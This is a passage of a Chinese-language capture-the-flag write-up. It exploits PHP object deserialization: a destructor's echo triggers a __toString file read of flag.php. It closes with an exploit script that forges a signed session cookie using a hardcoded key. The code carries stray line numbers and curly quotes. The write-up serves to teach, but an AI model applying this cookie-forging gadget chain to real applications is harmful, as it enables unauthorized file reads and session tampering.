接着看看哪里有可以利用的地方
class CardsPool
{
public $cards;
private $file;
public function __construct($filePath)
{
if (file_exists($filePath)) {
$this->file = $filePath;
} else {
die("Cards pool file doesn't exist!");
}
}
public function draw()
{
$rand = mt_rand(1, 100);
$level = 0;
if ($rand >= 1 && $rand <= 42) {
$level = 3;
} elseif ($rand >= 43 && $rand <= 90) {
$level = 4;
} elseif ($rand >= 91 && $rand <= 99) {
$level = 5;
} elseif ($rand == 100) {
$level = 6;
}
$rand_key = array_rand($this->cards[$level]);
return array(
"stars" => $level,
"No" => $rand_key,
"card" => $this->cards[$level][$rand_key]
);
}
public function init()
{
$this->cards = include($this->file);
}
public function __toString(){
return file_get_contents($this->file);
}
}1
2
于是就找到了`CardsPool`这个类,可以看到这个类的`__toString()`是可以读取文件的。再去找找有什么地方有输出的,就找到了`Eeeeeeevallllllll`类
class Eeeeeeevallllllll{
public $msg=”坏坏liki到此一游”;
public function __destruct()
{
echo $this->msg;
}
}1
2
3
4
一看就是专门给我们留的后门,`echo`输出`msg`,那只要把这个变量设置成`CardsPool`类,再将`CardsPool`类中的`file`设置为`./flag.php`即可
exp
<?php
class CardsPool{
private $file = “./flag.php”;
}
class Eeeeeeevallllllll{
public $msg;
public function __construct(){
$this->msg= new CardsPool();
}
}
$class = new Eeeeeeevallllllll();
$data = serialize($class);
$sign = md5($data . “7tH1PKviC9ncELTA1fPysf6NYq7z7IA9”);
$sign = base64_encode($sign);
$data = base64_encode($data);
$session = $data.”.”.$sign;
echo urlencode($session);`
将生成的session
放入cookie
中,然后刷新查看源码即可